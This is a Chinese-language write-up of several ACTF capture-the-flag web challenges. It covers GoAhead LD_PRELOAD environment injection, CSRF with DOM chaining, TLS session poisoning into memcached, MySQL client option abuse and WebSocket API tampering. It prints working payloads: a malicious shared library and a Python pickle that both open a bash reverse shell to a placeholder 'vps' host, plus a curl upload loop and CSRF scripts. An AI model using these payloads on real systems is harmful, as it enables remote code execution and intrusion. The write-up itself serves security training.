ACTF-web-WP&分析记录
字数 1416 2025-08-06 21:48:56
ACTF Web题目分析与漏洞利用技术详解
1. ACTF warmup - GoAhead环境变量注入漏洞
漏洞背景
题目提供了一个基于GoAhead服务的Web环境,通过分析Dockerfile发现与P神(phith0n)文章《GoAhead环境变量注入复现踩坑记》中的配置相似。
漏洞原理
- GoAhead服务会将表单传入的数据键值对设置为环境变量
- 上传的文件会存储在
/proc/self/fd/目录下 - 可利用
LD_PRELOAD环境变量加载恶意共享库
利用步骤
- 编写恶意共享库代码:
#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call() {
unsetenv("LD_PRELOAD");
char str[65536];
system("bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'");
system("cat /flag > /var/www/html/flag");
}
- 编译为共享库:
gcc -shared -fPIC ./payload.c -o payload.so
- 利用Python脚本进行多线程攻击:
import os
import threading
payload = """#include <stdlib.h>...""" # 上述C代码
f = open("payload.c", "w")
f.write(payload)
f.close()
def cmdcommand(cmd, pid):
while 1:
print("-"*100, pid)
os.system(cmd)
_pid = int(input("pid#"))
for i in range(10):
pid = _pid + i
cmd = "gcc -shared -fPIC ./payload.c -o payload.so;curl -v -F data=@payload.so -F 'LD_PRELOAD=/proc/self/fd/%d' http://target/cgi-bin/hello" % pid
threading.Thread(target=cmdcommand, args=(cmd, pid,)).start()
- 微调pid值直到成功获取反弹shell
2. beWhatYouWannaBe - CSRF与DOM操作链式利用
第一部分:获取admin权限
- 通过
/beAdmin接口提升权限 - 需要正确的时间戳token
- 使用HTML表单自动提交:
<form name="loginform" action="http://127.0.0.1:8000/beAdmin" method="POST" target="_blank">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="csrftoken" value="tocken" />
<input type="submit" value="Submit request" />
</form>
- 使用JavaScript动态获取token:
for(var i=1;i<1000;i++){
var myRequest = new Request('/getToken');
fetch(myRequest).then(function(response) {
return response.text().then(function(text) {
document.loginform.csrftoken.value = text;
document.loginform.submit();
});
});
}
第二部分:DOM属性链式操作
- 创建三个HTML文件实现属性链式访问:
- 1.html:
<iframe name="fff" src="2.html"></iframe>
- 2.html:
<iframe name="lll" src="3.html"></iframe>
- 3.html:
<form id="aaa">
<input name="ggg" type="submit" value="this_is_what_i_want" />
</form>
- 让admin访问1.html,服务器会收到带有flag的请求
3. ToLeSion - TLS会话复用与memcached注入
漏洞原理
- 利用FTPS协议的PASV命令将会话重定向到memcached服务
- 通过TLS会话复用注入恶意序列化数据到memcached
- 修改session触发反序列化执行系统命令
利用步骤
- 准备恶意序列化payload:
import os
import pickle
class Test2(object):
def __reduce__(self):
cmd = f"bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'"
return (os.system,(cmd,))
pickle_code = pickle.dumps(Test2())
length = len(pickle_code)
payload = b"\r\nset actfSession:admint 0 0 " + str(len(pickle_code)).encode() + b"\r\n" + pickle_code + b"\r\n"
- 使用TLS-poison工具进行会话劫持:
TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11212 --certs cert.pem --key key.pem --verbose forward 2048
-
运行FTPS服务模拟脚本监听2048端口
-
访问目标URL触发漏洞:
/?url=ftps://DNSname:11212/a
- 修改cookie中的sessionid为
actfSession:admint触发反序列化
4. myclient - MySQL插件提权
漏洞原理
- 利用
mysqli_options函数配置客户端选项 - 通过
MYSQLI_INIT_COMMAND和MYSQLI_READ_DEFAULT_FILE加载恶意配置 - 利用MySQL插件功能执行系统命令
关键配置选项
MYSQLI_OPT_LOCAL_INFILE: 控制LOAD LOCAL INFILE语句MYSQLI_INIT_COMMAND: 初始化命令MYSQLI_READ_DEFAULT_FILE: 指定配置文件MYSQLI_READ_DEFAULT_GROUP: 指定配置组
利用方法
- 构造恶意MySQL配置文件
- 通过URL参数设置客户端选项:
?key=3&value=恶意命令
?key=5&value=恶意配置文件路径
- 利用插件功能执行系统命令
5. poorui - WebSocket协议滥用
非预期解
- 以admin身份登录系统
- 拦截WebSocket通信
- 修改api参数从
sendmsg为getflag:
{
"api": "getflag",
"to": "admin",
"msg": {
"type": "text",
"data": "a"
}
}
预期解分析
- 旧版本lodash存在原型链污染漏洞
- 通过修改
is="abc"和onanimationstart属性实现XSS - 劫持msg中的api参数获取flag
总结
本次ACTF比赛中的Web题目涵盖了多种高级漏洞利用技术:
- 环境变量注入与LD_PRELOAD利用
- CSRF与DOM链式操作
- TLS会话复用与协议级攻击
- MySQL客户端配置滥用
- WebSocket协议滥用
这些技术在实际渗透测试中都具有很高的实用价值,理解并掌握这些技术对于提升Web安全能力至关重要。